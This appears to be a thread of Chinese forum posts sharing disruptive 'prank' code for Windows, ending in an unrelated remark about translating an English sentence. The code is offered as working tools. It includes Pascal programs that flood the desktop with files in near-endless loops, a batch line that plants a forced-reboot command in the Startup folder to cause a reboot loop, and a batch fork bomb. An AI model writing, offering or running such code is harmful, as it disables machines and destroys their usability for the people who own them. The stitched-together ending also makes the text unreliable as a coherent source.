var
a,b,c,d:integer;
x,y,z:char;
f:text;
begin
x:=chr(random(26)+65);
y:=chr(random(26)+65);
z:=chr(random(26)+65);
for a:='0' to '9' do
for b:='0' to '9' do
for c:='0' to '9' do
begin
assign(f,a+b+c+'.'+x+y+z);
rewrite(f);
close(f);
End;
end.

来个更猛的——
program chen;
var i:qword;
　　f2:text;
begin
for i:=0 to
18446744073
709551615 do
　begin
　assign(f2,'C:\Documents and Settings\All Users\桌面\'+str(i)+'.txt');
　rewrite(f2);
　writeln(f2,'哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈');
　close(f2);
　end;
end.

我两行代码：
echo shutdown -r -f -t 0 >> "C:\Documents And Settings\All Users\「开始」菜单\程序\启动\ex.bat"
shutdown -r -f -t 0
或
start %0
%0

program chen;
var i,j:longint;
t:string;
begin
for i:=-1*maxlongint-1 to maxlongint do
begin
str(i,t);
assign(output,'C:\Documents and Settings\All Users\桌面\'+t+'.txt');
rewrite(output);
for j:=-1*maxlongint-1 to maxlongint do
writeln('哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈');
close(output);
end;
end.

那些都是什么

如果要求按照正常语法翻译，原句“Need just word,word has word”应该可以直译为“需要的只是说话，包含了措辞的话”。但怎么翻译比较恰当暂时还想不出来。